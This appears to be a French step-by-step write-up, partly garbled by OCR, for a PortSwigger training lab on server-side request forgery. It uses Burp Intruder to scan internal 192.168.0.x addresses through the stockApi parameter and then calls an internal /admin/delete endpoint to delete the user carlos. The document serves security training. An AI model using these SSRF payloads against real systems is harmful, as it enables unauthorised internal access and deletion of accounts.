Défi n°2 : Autre exploitation d'une vulnérabilité SSRF

Une fois connecté av	/ec un comp	te sur ports	wigger, depuis la	a page d'accu	eil, clique	er sur /	ademy.
Products	∽ Solu	tions 🗸	Research	Academ	y Su	pport	~
Puis, cliquer sur Lea	rning Path.						
	Dashboa	rd Le	arning paths	Latest	topics	~	
Ensuite, sélectionne	r le parcours	Server Side	e Request Forge	ery.			
		Ay progress	•	8 of 23			
		PRACTITIONE	R				
		Server-side	request forgery ((SSRF)			
		attacks	ih taabaa wax ahaut a	anvar aida			
		request forgery (SSRF). You'll learn abo	out its impact,			
		common techniq defend against tl	ues used in attacks, an	nd how to			
		and againor a					

D'autres parcours existent afin de se former en cybersécurité tout en suivant sa progression. Cliquer sur RESUME.

RESUME →

Enfin, avancer dans le parcours jusqu'à l'affichage du labo suivant :

View progress →

PRACTITIONER Server-side request forgery (SSRF) att	acks 8 of 23 Web Se	curity ny 💈
	Lab: Basic SSRF against another back-end syste	em
My progress	APPRENTICE	
What is SSRF?	LAB Not solved	
What is the impact of SSRF attacks?	This lab has a stock check feature which fetches data from an internal system.	

Le lien direct vers le labo est le suivant :

portswigger.net/web-security/ssrf/lab-basic-ssrf-against-backend-system

Il faut ensuite cliquer sur le bouton Access The lab. Puis, sélectionner un produit et afficher la quantité en stock tout en ayant le proxy Burp activé.

Description: Giant Pillow Thing - Because, why not?

London

k

Have you ever been sat at home or in the office and thought, I'd much rather sit in something that a team of Gurkha guides couldn't find me in? Well, look no further than this enormous, luxury pillow. It's ideal for car parks, open air fields, unused basements and big living rooms. Simply drag it in with your team of weight lifters and hide from your loved ones for days. This is the perfect product to lounge in comfort in front of the TV on, have a family reunion in, or land on after jumping out of a plane.



Le paramètre stockApi s'affiche sur Burp comme lors du défi n°1 et contient une adresse IP.

In	tercept HTTP history WebSockets history 🔯 Proxy settings							
0	Request to https://0aa300ab038c7fa4808721f40011004a.web-security-academy.net:443 [34.246.129.62]							
	Forward Drop Intercept is on Action Open browser							
Pr	retty Raw Hex							
1	POST /product/stock HTTP/2							
2	Host: 0aa300ab038c7fa4808721f40011004a.web-security-academy.net							
3	Cookie: session=x0tyCUQMFevuR06MhDNnk00vFAZKZqsg							
4	User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0							
5	Accept: */*							
6	Accept-Language: en-US, en; q=0.5							
7	Accept-Encoding: gzip, deflate, br							
8	Referer: https://0aa300ab038c7fa4808721f40011004a.web-security-academy.net/product?productId=1							
9	Content-Type: application/x-www-form-urlencoded							
10	Content-Length: 96							
11	Origin: https://0aa300ab038c7fa4808721f40011004a.web-security-academy.net							
12	Sec-Fetch-Dest: empty							
13	Sec-Fetch-Mode: cors							
14	Sec-Fetch-Site: same-origin							
15	Te: trailers							
16 17	st <pre>st >ckApi=http%3A%2F%2F192.168.0.1%3A8080%2Fproduct%2Fstock%2Fcheck%3FproductId%3D1%26storeId%3D1</pre>							

Envoyer vers le répéteur cette page de code contenant le paramètre stockApi.

D	ashboard Target Proxy Intruder geater Collaborator	Sequencer [Decode	er Co	omparer	Logger	Organizer	Extensions	Learn			
1	x +											
	Send (Cancel < * > *							Ta	rget: https://0aa300ab03	8c7fa48	08721	4001
Re	quest		R	Response							= 1	1
P	retty Raw Hex	& 🗐 vn ≡		Pretty	Raw	Hex	Render			5	\n	≡
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17	<pre>Nost: 0aa300ab030;7f44009721f40011004a.web-security-academy.net Cookia: sassimr=0tyCUUMFeuvMOSHDNNNNOVF2XCqpg User-Agent: Moxillay.5.0 (X11; Linux X85_64; rv:109.0) Gecko/2010010 Accept: Moxillay.5.0 (X11; Linux X85_64; rv:109.0) Gecko/2010010 Accept: Angunge: en-US, en;cP0.5 Accept: Encoding: gzip, deflate, br Aefarer: Content: Type: applications and the security-academy.net/pr =1 Content: Langth: 96 Content: Langth: 96 Content: Langth: 96 Content: Langth: 96 Sec.Fetch-Mode: cors Sec.Fetch-Mode: cors Sec.Fetch-Site: same-origin Te: trailers StockAgis httphSAM2PM2F192.158.0.1%3A8080%2Fproduct%2Fstock%2Fcheck%3FproductT %301</pre>	. Firefox/115.0 roduct?productId y.net										
0	(♣) ← → Search		0) @ (• •	Search			م	01	highlig	nts

La sélection de l'URL avec la souris suffit à afficher l'encadré permettant de voir l'URL décodé.



En modifiant manuellement l'URL, on peut essayer une découverte manuelle d'autres instances de serveur.



Selon le code de retour du serveur on peut savoir si l'instance de serveur est présente ou non. Pour éviter de faire plusieurs tentatives manuelles, on va automatiser cette tâche en activant le mode sniper.

Afin d'activer le mode sniper, il faut envoyer la requête vers le mode Intruder. Ensuite, il faut sélectionner le 4ème octet de l'adresse IP puis cliquer sur Add.

Payload positions Configure the positions where payloads will be inserted, they can be added into the target as well as the base request.		
Target: https://bx2b006603234568956685800%00% web-security-academy.net	Update Host header to match target	dd 5
<pre>4 User-Agnt: Mozilta/S-U (Xii) Linux x8%_04; rv:109.0) Gecko/20100101 Firefox/115.0 5 Accept: Annguage: m-US, m; rp0.5 5 7 Accept-Energing: gas, deflate, br 8 Faferar: https://Dubb0600323456895/5c05900f600e6, web-security-academy.net/productId=1 6 Origin: https://Dubb0600323456895/5c05900f600e6, web-security-academy.net 10 Origin: https://Dubb0600323456895/5c05900f600e6, web-security-academy.net 2 Sec-Fetch-Hode: empty 2 Sec-Fetch-Hode: cors 3 Sec-Fetch-Hode: cors 3 Sec-Fetch-Site: same-origin 3 Testrailers</pre>		Auto § Refresh
⑦ ⑧ € → Search	P 1 highlight	Clear
1 payload position	Length: 674	

La configuration du Payload nécessite de choisir une itération de 1 à 255 sur une liste de nombres. Pour cela, il faut aller dans l'onglet Payloads.

Poslons Payloads Resource pool Settings	
Payload sets	
Here a define one or more puyload sets. The number of puyload sets depends on the attack type defined in the Positions tab. Various puyload types are available for each puyload set, and each puyload type can be customized in different ways. Payloa set: 1 > Payload count: 255 Payloa type: Numbers > Request count: 255	
Payload settings [Numbers] This payload type generates numeric payloads within a given range and in a specified format.	
Number range	
Type: 💿 requestal 🔾 Random	
From: 1	
To: 25	
Step: 1	
How many:	

Le résultat du scan permet de voir qu'une page rend le code d'erreur 404 (et non pas 500 pour une erreur côté serveur) sur l'adresse IP se terminant par 125 (192.168.0.125). Pour cela, il faut trier les résultats sur la colonne status.

Results	Results Pasitions Payloads Resource pool Settings									
♡ Intruder atta	ck results filter: Showing all items									:
Request	Payload	Status code 🔨	Response received	Error	Timeout	Length	Comment			
1	1	400	40			141				
125	125	404	35			131				
0		500	35			2477				
2	2	500	74			2477				
3	3	500	74			2477				
4	4	500	72			2477				
5	5	500	75			2477				
6	6	500	73			2477				
7	7	500	74			2477				
8	8	500	77			2477				
Request Res	ponse									
Pretty Raw	Hex							8		\n
DOCT (seed as										
Host: 0x2b00	CO2224569955-6959005600a6 veb-security-1	academy pet								
Cookie: sess	ions a71ze0dXB51p03eMt eH55rTNCIInSTPv9	acadany. nac								
User-Agent:	Mozilla/5.0 (X11: Linux x86 64: rv:109.0)) Gecko/20100101 Firefox/115.0								
Accept: */*	Accest: */*									
Accept - Langu	Accept-Language: en-US,en;q=0.5									
Accept - Encod	Accept-Encoding: gzip, deflate, br									
Referer: https://0a2b0066032345689f5c685800f600e6.web-security-academy.net/product?productId=1										
Content-Type	Content-Type: application/x-www-form-urlencoded									
Content-Leng	th: 35	and the second second								
Urigin: http	Urigin: https://uazoubobs/s49508375068380Ur60U06.Web-Security-academy.het									
bec-retch-De	Sec-reconvest. empty									

Il suffit alors d'envoyer la requête correspondante vers le répéteur puis de reprendre la procédure utilisée lors du défi n°1 en testant l'URL suivante :

http://192.168.0.125:8080/admin

	Send O Cancel < > > +					Target: https://0a2b0066032345689f5c64	85800f6
Re	quest	Re	esponse				
P	retty Raw Hex 🗞 🗐 In ≡	P	Pretty	Raw	Hex Re	nder 🗟 🗤	=
1 2 3 4 5 6 7 8 9 10 1	POST /product/stock HTTP/2 Host: 0a2b00603294568955c685800f600e6,web-security-academy.net Cookie: session=72ze040fc53p03efteHSGrINCUmSTP+9 User-Agent: Mozilla/5.0 (Xl],Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Accept: -Language: en-US, en; q=0.5 Accept-Language: en-US, en; q=0.5 Accept-Encoding: gaip, deflate, br Referer: https://0a2b006603234568955c685800f600e6.web-security-academy.net/product?productId =1 Content-Langth: 40 Oriain: https://0a2b00660323456895c685800f600e6.web-security-academy.net	55 56 57 58 59 60		Use <div> <sp w <a D </a <div> <div></div></div></sp </div>	rs an> iener - pan> href="/http: elete > > an> an> an>	//192.168.0.125:8080/admin/delete?username=viener">	-
12 13 14 15 16	Sec.Fatch-Dest: empty Sec.Fatch-Mode: cors Sec.Fatch-Site: same-origin Te: trailers	61			hr i="/http: el te >	//192.168.0.125:8080/admin/delete?username= <mark>carlos</mark> ">	
17	stc kApi=http://192.168.0.125:8080/admin	63		<td>on></td> <td></td> <td>- 1</td>	on>		- 1
		64 65 66 67 68	<div< td=""><td><pr> <hr/> <hr/> <div> ction> </div></pr></td><td>"footer-wrap</td><td>Per"></td><td></td></div<>	<pr> <hr/> <hr/> <div> ction> </div></pr>	"footer-wrap	Per">	
0		0) @ (←	€	carl s	× 2 mat	ches

La suppression de Carlos se fait avec l'URL suivant :

http://192.168.0.125:8080/admin/delete?username=carlos

Puis en suivant le redirection, l'utilisateur Carlos est supprimé.

Send O Cancel < V > V	Target: https://0a2b0066032345689f5c685800
Pretty Raw Hex № Image: Test of the second	Response Pretty Raw Hex Ref er I I I I I I I I I I I I I I I I I I
<pre>2 Host: 0a2b006603234568975c685800f600e6,web-security-academy.net 3 Cookie: sessionra722ed0853p03etHef557ltCUBSPv9 4 User-Agent: Mozillay5.0 (X11; Linux X86_64; rv:109.0) Gecko/20100101 Firefox/115.0 5 Accept:Language: en-U5,en;qr0.5 7 Accept-Encoding: gzip, deflate, br 8 Referen: https://0a2b0066032345689f5c685800f600e6.web-security-academy.net/product?productId =1 9 Content-Type: application/x-www-form-urlencoded 10 Origin: https://0a2b0066032345689f5c685800f600e6.web-security-academy.net 12 Sec-Fetch-Dest: empty 3 Sec-Fetch-Hode: cors</pre>	Congratulations, you solved the lab!
14 Sec-Fetch-Site: same-origin 15 Te: trailers 16	User deleted successfully! Users wiener - Delete
Done	



 WebSecurity
 Basic SSRF against another back-end system

 Academy
 Security

 Back to lab description
 Security

